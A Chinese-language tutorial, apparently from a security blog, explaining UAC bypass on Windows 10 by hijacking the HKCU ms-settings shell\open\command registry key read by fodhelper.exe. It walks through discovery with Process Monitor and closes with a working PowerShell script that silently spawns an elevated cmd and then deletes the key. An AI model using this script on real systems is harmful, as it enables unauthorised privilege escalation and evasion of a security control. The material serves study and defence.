环境说明
| IP | HOSTNAME | NOTE |
|---|---|---|
| N/A | Win10 | 测试主机 |
相关脚本
| 内容 | 下载 |
|---|---|
| PowershellScript | 点击下载 |
什么是UAC
-
用户帐户控制 (
UAC) 是Windows Vista和Windows Server 2008开始引入的一种访问控制功能。借助UAC,应用和任务将始终在非管理员帐户的安全上下文中运行,除非管理员专门授予管理员级别的访问系统权限。UAC可阻止自动安装未经授权的应用并防止意外更改系统设置。 -
我们在运行非微软官方的软件时,即使我们的账号是属于本地管理员组的,也会以普通用户的权限来运行软件。当软件需要更改系统配置或者修改系统关键位置时,往往需要提升自己的权限来执行这些操作,此时
UAC就会提醒用户“你要请允许此应用对你的设备进行更改吗?” 。一但用户点击了“是”, 就会提升该软件的权限成管理员权限,接着该软件就可以修改关键的系统配置和路径了。
注册表劫持原理
- 注册表一般用来保存一些系统配置,当程序运行时,会读取注册表中的配置来运行。如
Windows启动项就是保存在注册表中的,当开机时会读取注册表中的启动项来决定启动哪些程序。运行regedit可以查看注册表。

-
注册表劫持的原理是一些高完整性程序会读取注册表中的内容来作为命令执行,而这些内容是普通权限的程序可以修改的,因此只要把这些注册表的内容修改成恶意程序的路径,恶意程序就可以被高完整性程序执行,并且获得高完整性程序的管理员权限。常用的被劫持程序是
eventvwr.exe、mmc.exe和fodhelper.exe(windows 10),通常HKEY_CURRENT_USER(缩写是HKCU)中的注册表项是当前用户不需要管理员权限也可以修改的(上图箭头指向的注册表项),这就给注册表劫持提供了机会。 -
下面以
fodhelper.exe程序的劫持为例,用sigcheck查看,发现它是受信任的程序,可以自动提升权限,
sigcheck.exe -m c:\windows\system32\fodhelper.exe
- 如下图:

- 接着打开
process monitor查看fodhelper.exe,把过滤器设置成如下图所示:

- 然后打开
fodhelper.exe,如下图:

- 使用
process monitor监控fodhelper.exe的行为数据发现,在启动过程中会查询注册表项HKCU:\Software\Classes\ms-settings\Shell\Open\command,发现路径不存在后继续查询,通常以shell\open\command命名的键值对存储的是可执行文件的路径,如果我们能写入这个键值对,那么在程序启动过程中我们会得到一个已高权限执行的可执行文件,由于该键值对属于HKCU,所以即使是普通用户也能编辑该键值对,那么现在我们就可以以高权限静默执行任意指定文件。

攻击过程
- 首先查看本地用户是否属于本地管理员

- 发现
dengqinyuan账号属于本地管理员,但现在的cmd窗口是属于普通权限的,无法对系统文件进行修改,如下图向c:windowssystem32目录添加文件失败,因此我们要尝试绕过UAC提升权限

- 向注册表添加
HKCU:\Software\Classes\ms-settings\Shell\Open\command选项,并设置值,如下图:

- 运行
fodhelper.exe,运行后会新打开一个cmd窗口,该窗口为管理员权限,成功绕过UAC,如下图:

powershell脚本代码如下:
[String]$program = "c:\windows\system32\cmd.exe"
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
Start-Sleep 3
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
- 脚本会自动修改注册表值并及时清除注册表值,运行结果如下图所示:
